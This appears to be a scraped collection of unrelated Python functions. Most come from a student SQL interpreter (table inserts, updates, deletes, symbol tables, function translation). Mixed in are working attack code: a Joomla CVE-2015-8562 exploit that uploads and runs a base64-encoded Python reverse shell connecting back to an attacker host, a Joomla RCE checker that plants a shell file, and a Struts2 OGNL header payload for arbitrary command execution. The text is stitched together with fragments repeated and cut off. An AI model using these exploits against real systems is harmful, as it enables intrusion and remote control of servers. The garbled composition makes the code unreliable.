def graphAST(self): dot = "digraph ASTTytus{ \n rankdir = TD\n node[shape = \"box\"]\n" dotaux = "" try: if self.nodes != None: for node in self.nodes: dotaux += node.graphAST('', 'S') except Exception as e: print_error("AST Error", e, 0) print(e) self.errors.append(Error("Unknown", "Wrong generated AST", 0, 0)) print_error("Unknown Error", "Wrong generated AST", 0) #print(e) if dotaux != "": dot += "S[label=\"S\"]\n" dot += dotaux dot += "\n }" #print(dot) return dot
def checkJoomlaRCE(url): global vulnerable vulnerable = False url = url.strip() reg = 'http[s]*://.*/$' m = re.match(reg, url) if not m: url = url + "/" poc = generate_payload("phpinfo();") try: result = get_url(url, poc) if 'phpinfo()' in result: system = getInfoByJoomlaRCE(result, 'System') document_root = getInfoByJoomlaRCE(result, 'DOCUMENT_ROOT') script_filename = getInfoByJoomlaRCE(result, 'SCRIPT_FILENAME') shell_file = getShellByJoomlaRCE(url, system, script_filename) vuls = '[+] vuls found! url: ' + url + ', System: ' + system + ', document_root: ' + \ document_root + ', script_filename: ' + script_filename + ', shell_file: ' + shell_file logfile(vuls, 'joomla_rce.txt') vulnerable = True console.print_success(vuls) else: console.print_error('[!] no vuls! url: ' + url) except Exception as e: console.print_error('[!] connection failed! url: ' + url + str(e))
def printSymbolTable(self): x = PrettyTable(["Number", "Name", "Type", "Environment"]) try: TypeChecker_Manager_ = get_TypeChecker_Manager() #Databases Databases = TypeChecker_Manager_.databases i = 0 a = 1 while i < len(Databases): x.add_row([a, str(Databases[i].name), "Database", "Global"]) a += 1 #Tables Tables = Databases[i].tables j = 0 while j < len(Tables): x.add_row([a, str(Tables[j].name), "Table", "Local"]) a += 1 #Columns Columns = Tables[j].columns k = 0 while k < len(Columns): x.add_row([a, str(Columns[k].name), "Column type " + str(Columns[k].type_), "Local"]) a += 1 k += 1 j += 1 i += 1 except Exception as e: print_error("Unknown Error", "Incorrectly generated Symbol Table") #print(e) print_ = x.get_string(title="Symbol Table") return print_
def debug_traceback(): ''' display traceback info ''' answ = console.input_check("[?] Display traceback? [y/n] ", choices=['y', 'n']) if answ == 'y': console.print_error(traceback.format_exc())
def deleteFunction(function: str): ans = TCdeleteFunction(function) if (ans == 1): print("Function " + str(function) + " droped") print_success("MESSAGE", "Function " + str(function) + " droped", 2) else: print("Function " + str(function) + " does not exist") print_error("SEMANTIC", "Function " + str(function) + " does not exist", 2)
def printSymbolTable(self): x = PrettyTable(["Number", "Name", "Type", "Environment"]) try: TypeChecker_Manager_ = get_TypeChecker_Manager() #Databases Databases = TypeChecker_Manager_.databases i = 0 a = 1 while i < len(Databases): x.add_row([a, str(Databases[i].name), "Database", "Global"]) a += 1 #index n = TCgetIndex(str(Databases[i].name), a) print(n) if (len(n) > 0): nn = 0 while nn < len(n): x.add_row([ a, str(n[nn]['NAME']) + '(' + str(n[nn]['COLUMN']) + ')', str(n[nn]['TYPE']), 'Local' ]) a += 1 nn += 1 #Tables Tables = Databases[i].tables j = 0 while j < len(Tables): x.add_row([a, str(Tables[j].name), "Table", "Local"]) a += 1 #Columns Columns = Tables[j].columns k = 0 while k < len(Columns): #if(Columns[k].index_==None): x.add_row([ a, str(Columns[k].name), "Column type " + str(Columns[k].type_), "Local" ]) a += 1 k += 1 j += 1 i += 1 #x.add_row([a, str(Databases[i].name), "Database", "Global"]) except Exception as e: print_error("Unknown Error", "Incorrectly generated Symbol Table") #print(e) print_ = x.get_string(title="Symbol Table") return print_
def main(): ''' put things together ''' try: api_test() except (EOFError, KeyboardInterrupt, SystemExit): pass else: console.print_error('[-] Error with api_test') debug_traceback()
def get_index_html(javadoc_dir): """Checks and returns the index.html path if found. Otherwise returns None.""" if not os.path.exists(javadoc_dir): console.print_error(const.NOT_DIR_MESSAGE.format(javadoc_dir)) return None index_html = os.path.join(javadoc_dir, const.INDEX_HTML) if not os.path.exists(index_html): console.print_error( const.NOT_JAVADOC_DIR_MESSAGE.format(javadoc_dir, index_html)) return None return index_html
def createFunction(functionname: str, functioncode: str, replace: bool): res = TCcreateFunction(functionname, functioncode, replace) if res == 1: print("Function " + functionname + " stored") print_success("MESSAGE", "Function " + functionname + " stored", 2) elif res == 2: print("Function " + functionname + " replaced") print_success("MESSAGE", "Function " + functionname + " replaced", 2) else: print("Function " + functionname + " already exists") print_error("SEMANTIC", "Function " + functionname + " already exists", 2)
def __init__(self, conf): try: cred_file = open(conf) for line in cred_file: line = line.strip() if line.startswith('user'): self.user = line.split(':')[1] elif line.startswith('password'): self.passwd = line.split(':')[1] except FileNotFoundError: console.print_error('[-] Please look into zoomeye.conf first') else: pass
def executeUpdate(self, update_): db = TCgetDatabase() mode = TCSearchDatabase(db) table = update_.table register = {} # {#columna:[nuevo valor]} columns = [] # PK tabledata = extractTable(db, table) fieldnames = TCgetTableColumns(db, table) for value in update_.values: res = executeExpression(self, value[1]) if (not isinstance(res, Error)): temp = {value[0]: res.value} register = register | temp try: where = executeExpression(self, update_.expression) pos = fieldnames.index(where.id) #GET PK position res = 0 count = 0 for tup in tabledata: if (where.op == '='): if (tup[pos] == where.value): res = update(db, table, register, [tup[pos]]) #update count += 1 elif (where.op == '!=' or where.op == '<>'): if (tup[pos] != where.value): res = update(db, table, register, [tup[pos]]) count += 1 elif (where.op == '>'): if (tup[pos] > where.value): res = update(db, table, register, [tup[pos]]) count += 1 elif (where.op == '<'): if (tup[pos] < where.value): res = update(db, table, register, [tup[pos]]) count += 1 elif (where.op == '>='): if (tup[pos] >= where.value): res = update(db, table, register, [tup[pos]]) count += 1 elif (where.op == '<='): if (tup[pos] <= where.value): res = update(db, table, register, [tup[pos]]) count += 1 if res == 0: print_success("QUERY", str(count) + " rows updated successfully") elif res == 1: print_error("SEMANTIC ERROR", "Operation error") elif res == 2: print_error("SEMANTIC ERROR", "The database does not exist") elif res == 3: print_error("SEMANTIC ERROR", "Table does not exist") elif res == 4: print_error("SEMANTIC ERROR", "Primary key does not exist in table") except Exception as e: print(e)
def main(): parser = argparse.ArgumentParser( prog='cve-2015-8562.py', description='Automate blind RCE for Joomla vuln CVE-2015-8652') parser.add_argument('-t', dest='RHOST', required=True, help='Remote Target Joomla Server') parser.add_argument('-l', dest='LHOST', help='specifiy local ip for reverse shell') parser.add_argument('-p', dest='LPORT', help='specifiy local port for reverse shell') args = parser.parse_args() # Spawn Reverse Shell using Netcat listener + Python shell on victim if args.RHOST: try: hackUtils.rceJoomla(args.RHOST) if hackUtils.vulnerable and args.LHOST and args.LPORT: console.print_success( "\n[+] Now preparing for reverse shell...") connection = "'{}', {}".format(args.LHOST, args.LPORT) # pentestmonkey's Python reverse shell one-liner: shell_str = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((''' + connection + \ '''));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''' # Base64 encoded the Python reverse shell as some chars were # messing up in the exploit encoded_comm = base64.b64encode(shell_str) # Stage 1 payload Str payload = "echo {} | base64 -d > /tmp/.e".format(encoded_comm) # Stage 1: Uploads the Python reverse shell to # "/tmp/addfsfdhddfhdsaera" pl = generate_payload("system('" + payload + "');") try: print get_url('http://' + args.RHOST, pl), '\n' write_msg( "[+] Its alive indeed, lets see if you get a shell...\n" ) except: console.print_error('[-] No luck!\n') # Stage 2: Executes Python reverse shell back to LHOST:LPORT pl = generate_payload( "system('python /tmp/addfsfdhddfhdsaera');") try: write_msg("[+] Spawning reverse shell....\n") get_url('http://' + args.RHOST, pl) except: console.print_error('[-] No luck with shell!\n') except Exception as e: console.print_error('[-] Error: ' + str(e)) else: print '[!] missing arguments' parser.print_help()
def login(self): ''' login using given username and password ''' data = { 'username': self.user, 'password': self.passwd } print(data) data_encoded = json.dumps(data) try: r_post = requests.post( url='https://api.zoomeye.org/user/login', data=data_encoded) r_decoded = json.loads(r_post.text) return r_decoded['access_token'] except (EOFError, KeyboardInterrupt, SystemExit): pass else: console.print_error( '[-] invalid username or password, try again with curl') sys.exit(1)
fetchCensys(value, "ip", 50) if name in ("-u", "--censysurl"): fetchCensys(value, "domain", 50) if name in ("-w", "--wooyun"): fetchUrls('wooyun', value, 50) if name in ("-j", "--joomla"): checkJoomla(value) if name in ("-r", "--rce"): rceJoomla(value) if name in ("-f", "--ffcms"): rceFeiFeiCMS(value) if name in ("-k", "--jenkins"): rceXStreamJenkins(value) if name in ("-o", "--shiro"): rceApacheShiro(value) if name in ("-s", "--s2032"): rceStruts2S2032(value) if name in ("-d", "--domain"): scanSubDomains('baidu', value, 50) if name in ("-e", "--encrypt"): encryptStr(value) if __name__ == '__main__': try: main() except KeyboardInterrupt: print "[-] Exiting..." except Exception as e: console.print_error("[-] Error at main: " + str(e))
def executeDelete(self, Delete_): # Delete : { # table: "table_name", # expression: expression # } # expression : { (Relational | Logical} # Relational : { # value1: Value, # value2: Value, # type: ("=" | "!=" | "<>" | ">" | "<" | ">=" | "<=") # } # Logical : { # value1: (Logical | Relational), # value2: (Logical | Relational), # type: ("AND" | "OR") # } delete_: Delete = Delete_ table_name = delete_.table expression_ = delete_.expression relational_ = get_first_relational(self, expression_) if relational_ != None: TypeChecker_Manager_ = get_TypeChecker_Manager() if TypeChecker_Manager_ != None: use_: str = get_use(TypeChecker_Manager_) if use_ != None: database_ = get_database(use_, TypeChecker_Manager_) if database_ != None: table_ = get_table(table_name, database_) if table_ != None: result1 = executeExpression(self, relational_.value1) result2 = executeExpression(self, relational_.value2) result_type = relational_.type column_ = get_column(str(result1.value), table_) if column_ != None: #---------------------------------------------------------------------- column_number_to_compare = 0 i = 0 while i < len(table_.columns): if table_.columns[i].name == column_.name: column_number_to_compare = i i = len(table_.columns) i += 1 table_records = extractTable( database_.name, table_.name) table_record_to_delete = [] i = 0 while i < len(table_records): if (result_type == '='): if str(table_records[i] [column_number_to_compare]) == str( result2.value): table_record_to_delete.append( table_records[i]) elif (result_type == '!=' or result_type == '<>'): if str(table_records[i] [column_number_to_compare]) != str( result2.value): table_record_to_delete.append( table_records[i]) elif (result_type == '>'): if str(table_records[i] [column_number_to_compare]) > str( result2.value): table_record_to_delete.append( table_records[i]) elif (result_type == '<'): if str(table_records[i] [column_number_to_compare]) < str( result2.value): table_record_to_delete.append( table_records[i]) elif (result_type == '>='): if str(table_records[i] [column_number_to_compare]) >= str( result2.value): table_record_to_delete.append( table_records[i]) elif (result_type == '<='): if str(table_records[i] [column_number_to_compare]) <= str( result2.value): table_record_to_delete.append( table_records[i]) i += 1 columns_with_primary_keys = [] i = 0 while i < len(table_.columns): if table_.columns[ i].primary_ != None and table_.columns[ i].primary_ == True: columns_with_primary_keys.append(i) i += 1 table_record_to_delete_only_with_primary_keys = [] i = 0 while i < len(table_record_to_delete): primary_keys = [] j = 0 while j < len(columns_with_primary_keys): primary_keys.append( table_record_to_delete[i][( columns_with_primary_keys[j])]) j += 1 table_record_to_delete_only_with_primary_keys.append( primary_keys) i += 1 number_of_rows_removed = 0 i = 0 while i < len( table_record_to_delete_only_with_primary_keys ): try: #success result_delete = delete( database_.name, table_.name, table_record_to_delete_only_with_primary_keys[ i]) if result_delete == 0: #print_success("QUERY", "Delete row in " + str(table_.name) + " table, done successfully") number_of_rows_removed += 1 elif result_delete == 1: #print_error("UNKNOWN ERROR", "Operation error") a = 0 elif result_delete == 2: #print_error("SEMANTIC ERROR", "Database does not exist") a = 0 elif result_delete == 3: #print_error("SEMANTIC ERROR", "Table does not exist") a = 0 elif result_delete == 4: #print_error("SEMANTIC ERROR", "Primary key does not exist") a = 0 else: #print_error("UNKNOWN ERROR", "Operation error") a = 0 except Exception as e: #print_error("UNKNOWN ERROR", "instruction not executed") a = 0 #print(e) i += 1 print_success( "QUERY", str(number_of_rows_removed) + " rows removed successfully", 2) #---------------------------------------------------------------------- else: print_error( "SEMANTIC ERROR", str(relational_.value1) + " column does not exist in " + table_.name + " table", 2) else: print_error("SEMANTIC ERROR", "Table does not exist", 2) else: print_error("SEMANTIC ERROR", "Database to use does not exist", 2) else: print_warning("RUNTIME ERROR", "Undefined database to use", 2) else: print_error("UNKNOWN ERROR", "instruction not executed", 2) else: print_error("UNKNOWN ERROR", "instruction not executed", 2)
# "/tmp/addfsfdhddfhdsaera" pl = generate_payload("system('" + payload + "');") try: print get_url('http://' + args.RHOST, pl), '\n' write_msg( "[+] Its alive indeed, lets see if you get a shell...\n" ) except: console.print_error('[-] No luck!\n') # Stage 2: Executes Python reverse shell back to LHOST:LPORT pl = generate_payload( "system('python /tmp/addfsfdhddfhdsaera');") try: write_msg("[+] Spawning reverse shell....\n") get_url('http://' + args.RHOST, pl) except: console.print_error('[-] No luck with shell!\n') except Exception as e: console.print_error('[-] Error: ' + str(e)) else: print '[!] missing arguments' parser.print_help() if __name__ == "__main__": try: main() except KeyboardInterrupt: console.print_error("[*] Exiting...")
def executeInsertAll(self, InsertAll_): # InsertAll : { # table: "table_name", # values: [ { type: ('Entero' | 'Decimal' | 'Cadena' | 'Variable' | 'Regex' | 'All'), value: "" } ] # #values: [ { type: (1 | 2 | 3 | 4 | 5 | 6 ), value: "" } ] # } insertAll: InsertAll = InsertAll_ table_name = insertAll.table values = insertAll.values check_and_solve_values_ = check_and_solve_values(self, values) if check_and_solve_values_ == None: TypeChecker_Manager_ = get_TypeChecker_Manager() if TypeChecker_Manager_ != None: use_: str = get_use(TypeChecker_Manager_) if use_ != None: database_ = get_database(use_, TypeChecker_Manager_) if database_ != None: table_ = get_table(table_name, database_) if table_ != None: if len(table_.columns) == len(values): check_type_ = check_type(table_.columns, values) if check_type_ == None: check_null_ = check_null( table_.columns, values) if check_null_ == None: check_maxlength_ = check_maxlength( table_.columns, values) if check_maxlength_ == None: check_checks_ = check_checks( table_.columns, values) if check_checks_ == None: try: #success values_list = [] i = 0 while i < len(values): if (values[i] == None): values_list.append( None) else: values_list.append( values[i].value) i += 1 replace_default( values_list, table_.columns) result_insert = insert( database_.name, table_.name, values_list) if result_insert == 0: print_success( "QUERY", "Insert in " + str(table_.name) + " table, done successfully" ) elif result_insert == 1: print_error( "UNKNOWN ERROR", "Operation error") elif result_insert == 2: print_error( "SEMANTIC ERROR", "Database does not exist" ) elif result_insert == 3: print_error( "SEMANTIC ERROR", "Table does not exist") elif result_insert == 4: print_error( "SEMANTIC ERROR", "Duplicate primary key" ) elif result_insert == 5: print_error( "SEMANTIC ERROR", "Columns out of bounds" ) else: print_error( "UNKNOWN ERROR", "Operation error") except Exception as e: print_error( "UNKNOWN ERROR", "instruction not executed") #print(e) else: print_error( "SEMANTIC ERROR", check_checks_) else: print_error("SEMANTIC ERROR", check_maxlength_) else: print_error("SEMANTIC ERROR", check_null_) else: print_error("SEMANTIC ERROR", check_type_) else: print_error( "SEMANTIC ERROR", "Wrong arguments submitted for table. " + str(len(table_.columns)) + " required and " + str(len(values)) + " received") else: print_error("SEMANTIC ERROR", "Table does not exist") else: print_error("SEMANTIC ERROR", "Database to use does not exist") else: print_warning("RUNTIME ERROR", "Undefined database to use") else: print_error("UNKNOWN ERROR", "instruction not executed") else: print_error("SEMANTIC ERROR", check_and_solve_values_)
def executeInsert(self, Insert_): # Insert : { # table: "table_name", # columns: [ "column_name", "column_name" ], # values: [ { type: ('Entero' | 'Decimal' | 'Cadena' | 'Variable' | 'Regex' | 'All'), value: "" } ] # #values: [ { type: (1 | 2 | 3 | 4 | 5 | 6 ), value: "" } ] # } insert: Insert = Insert_ table_name = insert.table columns = insert.columns values = insert.values if len(columns) == len(values): TypeChecker_Manager_ = get_TypeChecker_Manager() if TypeChecker_Manager_ != None: use_: str = get_use(TypeChecker_Manager_) if use_ != None: database_ = get_database(use_, TypeChecker_Manager_) if database_ != None: table_ = get_table(table_name, database_) if table_ != None: if len(table_.columns) >= len(values): table_columns_names = [] i = 0 while i < len(table_.columns): table_columns_names.append( table_.columns[i].name) i += 1 i = 0 columns_exist = True columns_exist_error = 0 while i < len(columns) and columns_exist == True: if not (columns[i] in table_columns_names) == True: columns_exist = False columns_exist_error = 1 i += 1 if columns_exist == True: new_list_of_values = [] i = 0 j = 0 while i < len(table_columns_names): if (table_columns_names[i] in columns) == True: new_list_of_values.append(values[j]) j += 1 else: new_list_of_values.append(None) i += 1 new_InsertAll = InsertAll( table_name, new_list_of_values) executeInsertAll(self, new_InsertAll) else: print_error( "SEMANTIC ERROR", str(columns[columns_exist_error]) + " column in which you want to insert does not exist" ) else: print_error( "SEMANTIC ERROR", "Number of arguments sent is greater than the number of columns in the table" ) else: print_error("SEMANTIC ERROR", "Table does not exist") else: print_error("SEMANTIC ERROR", "Database to use does not exist") else: print_warning("RUNTIME ERROR", "Undefined database to use") else: print_error("UNKNOWN ERROR", "instruction not executed") else: print_error("SEMANTIC ERROR", "number of columns and values are not the same size")
def executeInstruction(self, instruction, indent, main): if isinstance(instruction, CreateFunction): functioncode = "" functionname = instruction.name replace = instruction.replace # def alterDatabase(databaseOld: str, databaseNew) -> int: if (instruction.params == None): functioncode += "\n@with_goto\ndef " + instruction.name + "():\n" #funcion sin parametros else: #funcion con parametros functioncode += "\n@with_goto\ndef " + instruction.name + "(" textparams = "" for param in instruction.params: #definicion de cada parametro en la lista paramtype = "" if (param.type != "ANYELEMENT" or param.type != "ANYCOMPATIBL" ): #los tipos any se ponen sin tipo en python paramtype = getType( param.type[0] ) # se mapea el tipo de SQL a tipo de python if param.name != None: if (paramtype == ""): textparams += param.name + ", " else: textparams += param.name + ": " + paramtype + ", " else: if (instruction.block.declarations == None): print( "Error, no existe alias para parametro sin nombre") else: print( "parametros sin nombre hay que recolectar el nombre del alias" ) functioncode += textparams[:-2] if (instruction.returnValue == None): functioncode += "):\n" # sin valor de retorno elif (instruction.returnValue.type != None): returntype = "" if (instruction.returnValue.type != "ANYELEMENT" or instruction.returnValue.type != "ANYCOMPATIBL"): returntype = getType( instruction.returnValue.type[0]) # se mapea el tipo if (returntype == ""): functioncode += "):\n" else: functioncode += ") ->" + returntype + ":\n" # se asigna el tipo a la funcion de python # Body function if (instruction.block.declarations != None): # declarations for declaration in instruction.block.declarations: if (isinstance(declaration, VariableDeclaration)): vartype = "" if (instruction.returnValue.type != "ANYELEMENT" or instruction.returnValue.type != "ANYCOMPATIBL"): vartype = getType(declaration.type[0]) if (declaration.expression == None): if (vartype == ""): functioncode += "\t" + declaration.name + "\n" else: functioncode += "\t" + declaration.name + ":" + vartype + "\n" # declaracion sin valor de la forma 'ID type;' else: # executeExpressionC3D, retorna codigo de 3 direcciones de una expresion declaration.expression functioncode += declaration.expression.translate( self, indent) if (vartype == ""): functioncode += "\t" + declaration.name + "=" + self.getLastTemp( ) + "\n" #asigna el valor del ultimo temporal que contiene el valor de la expresion else: functioncode += "\t" + declaration.name + ":" + vartype + "=" + self.getLastTemp( ) + "\n" #asigna el valor del ultimo temporal que contiene el valor de la expresion # statements for statement in instruction.block.statements: if isinstance(statement, Sentence): old_stdout = sys.stdout new_stdout = StringIO() sys.stdout = new_stdout print(statement) val1 = new_stdout.getvalue()[:-1] sys.stdout = old_stdout functioncode += (indent * "\t") + str(val1) + "\n" if (isinstance(statement, StatementReturn)): functioncode += statement.expression.translate(self, indent) functioncode += (indent * "\t") + "return " + self.getLastTemp() + "\n" elif isinstance(statement, If): functioncode += statement.expression.translate(self, indent) ifcode = (indent * "\t") + "if " + self.getLastTemp() + ":\n" iflabel = (indent * "\t") + "label ." + self.generateLabel() + "\n" ifcode += (indent * "\t") + "\tgoto ." + self.getLastLabel() + "\n" for ifstatement in statement.statements: iflabel += executeInstruction(self, ifstatement, indent, 1) #else if list elselabel = "" elsecode = "" if (statement.statementsElse != None): elselabel = (indent * "\t" ) + "label ." + self.generateLabel() + "\n" elsecode = (indent * "\t") + "else:\n" + ( indent * "\t") + "\tgoto. " + self.getLastLabel() + "\n" for elsestatement in statement.statementsElse: elselabel += executeInstruction( self, elsestatement, indent, 1) elselabel += (indent * "\t" ) + "label ." + self.generateLabel() + "\n" iflabel += (indent * "\t") + "goto ." + self.getLastLabel() + "\n" else: elselabel += (indent * "\t" ) + "label ." + self.generateLabel() + "\n" elsecode = (indent * "\t") + "else:\n" + ( indent * "\t") + "\tgoto. " + self.getLastLabel() + "\n" functioncode += ifcode + elsecode + iflabel + elselabel elif isinstance(statement, Asignment): if statement.expression != None: functioncode += statement.expression.translate( self, indent) functioncode += ( indent * "\t" ) + statement.name + "=" + self.getLastTemp() + "\n" else: functioncode += "#SelectF1" elif (isinstance(statement, Call) or isinstance(statement, Excute)): params = "(" for expression in statement.params: functioncode += expression.translate(self, indent) params += self.getLastTemp() + ", " functioncode += (indent * "\t") + statement.name + params[:-2] + ")\n" if (len(instruction.block.statements) == 0): functioncode += "\tprint(1)" # save functioncode in TypeChecker res = TCcreateFunction(functionname, functioncode, replace) if res == 1: print("Function " + functionname + " stored") print_success("MESSAGE", "Function " + functionname + " stored") elif res == 2: print("Function " + functionname + " replaced") print_success("MESSAGE", "Function " + functionname + " replaced") else: print("Function " + functionname + " already exists") print_error("SEMANTIC", "Function " + functionname + " already exists") self.plcode += functioncode elif (isinstance(instruction, StatementReturn)): code = "" code += instruction.expression.translate(self, indent) code += (indent * "\t") + "return " + self.getLastTemp() + "\n" return code elif (isinstance(instruction, Asignment)): code = "" if instruction.expression != None: code += instruction.expression.translate(self, indent) code += (indent * "\t") + instruction.name + "=" + self.getLastTemp() + "\n" else: code += "#SelectF1" return code elif (isinstance(instruction, Call) or isinstance(instruction, Excute)): code = "\n" params = "(" if instruction.params != None: for expression in instruction.params: code += expression.translate(self, indent) params += self.getLastTemp() + ", " if (main == 0): code += "\n" + ( indent * "\t") + "print(" + instruction.name + params[:-2] + "))\n" archivo = open("C3D.py", 'a') archivo.write(code) archivo.close() else: code += (indent * "\t") + instruction.name + params[:-2] + ")\n" else: if (main == 0): code += "\n" + (indent * "\t") + "print(" + instruction.name + "())\n" archivo = open("C3D.py", 'a') archivo.write(code) archivo.close() else: code += (indent * "\t") + instruction.name + "()\n" return code elif isinstance(instruction, If): code = "" code += instruction.expression.translate(self, indent) ifcode = (indent * "\t") + "if " + self.getLastTemp() + ":\n" iflabel = (indent * "\t") + "label ." + self.generateLabel() + "\n" ifcode += (indent * "\t") + "\tgoto ." + self.getLastLabel() + "\n" for ifstatement in instruction.statements: iflabel += executeInstruction(self, ifstatement, indent, 1) #else if list elselabel = "" elsecode = "" if (instruction.statementsElse != None): elselabel = (indent * "\t") + "label ." + self.generateLabel() + "\n" elsecode = (indent * "\t") + "else:\n" + ( indent * "\t") + "\tgoto. " + self.getLastLabel() + "\n" for elsestatement in instruction.statementsElse: elselabel += executeInstruction(self, elsestatement, indent, 1) elselabel += (indent * "\t") + "label ." + self.generateLabel() + "\n" iflabel += (indent * "\t") + "goto ." + self.getLastLabel() + "\n" code += ifcode + elsecode + iflabel + elselabel return code elif isinstance(instruction, DropFunction): ans = TCdeleteFunction(instruction.name) if (ans == 1): print("Function " + instruction.name + " droped") print_success("MESSAGE", "Function " + instruction.name + " droped") else: print("Function " + instruction.name + " does not exist") print_error("SEMANTIC", "Function " + instruction.name + " does not exist")
def poc(url, content="echo nMask"): register_openers() datagen, header = multipart_encode({"image1": open("/tmp/tmp.txt", "rb")}) header[ "User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" header["Content-Type"] = "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + \ content + \ "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" request = urllib2.Request(url, datagen, headers=header) response = urllib2.urlopen(request) body = response.read() return body if __name__ == "__main__": try: if not os.path.exists('/tmp/tmp.txt'): os.system('touch /tmp/tmp.txt') port = str(sys.argv[4]) url = 'http://' + sys.argv[2] + ':' + port body = poc(url) if "nMask" in body: console.print_success("[+] Vulnerable: " + url) except Exception as e: console.print_error('[-] Error: ' + str(e)) except (KeyboardInterrupt, SystemExit, EOFError): pass
def executeUpdate(self, update_): db = TCgetDatabase() mode = TCSearchDatabase(db) table = update_.table register = {} # {#columna:[nuevo valor]} columns = [] # PK tabledata = extractTable(db, table) fieldnames = TCgetTableColumns(db, table) if (type(fieldnames) is str): print_error("SEMANTIC ERROR", "Table does not exist") return for value in update_.values: res = executeExpression(self, value[1]) if (not isinstance(res, Error)): try: position = fieldnames.index(value[0]) temp = {position: res.value} register = register | temp except: print_error("SEMANTIC ERROR", "The column does not exist") try: print(register) where = executeExpression(self, update_.expression) if (isinstance(where, Error)): self.errors.append(where) print_error("SEMANTIC ERROR", str(where)) return pos = fieldnames.index(where.id) #GET PK position res = 0 count = 0 for tup in tabledata: if (where.op == '='): print(str(where.value) + "," + str(tup[pos])) if (tup[pos] == where.value): res = update(db, table, register, [str(tup[pos])]) #update print(res) count += 1 elif (where.op == '!=' or where.op == '<>'): if (tup[pos] != where.value): res = update(db, table, register, [tup[pos]]) count += 1 elif (where.op == '>'): if (tup[pos] > where.value): res = update(db, table, register, [tup[pos]]) count += 1 elif (where.op == '<'): if (tup[pos] < where.value): res = update(db, table, register, [tup[pos]]) count += 1 elif (where.op == '>='): if (tup[pos] >= where.value): res = update(db, table, register, [tup[pos]]) count += 1 elif (where.op == '<='): if (tup[pos] <= where.value): res = update(db, table, register, [tup[pos]]) count += 1 if res == 0: print_success("QUERY", str(count) + " rows updated successfully") elif res == 1: print_error("SEMANTIC ERROR", "Operation error") elif res == 2: print_error("SEMANTIC ERROR", "The database does not exist") elif res == 3: print_error("SEMANTIC ERROR", "Table does not exist") elif res == 4: print_error("SEMANTIC ERROR", "Primary key does not exist in table") else: print_error("UNKNOWN ERROR", "Operation error") except Exception as e: print_error("UNKNOWN ERROR", "instruction not executed")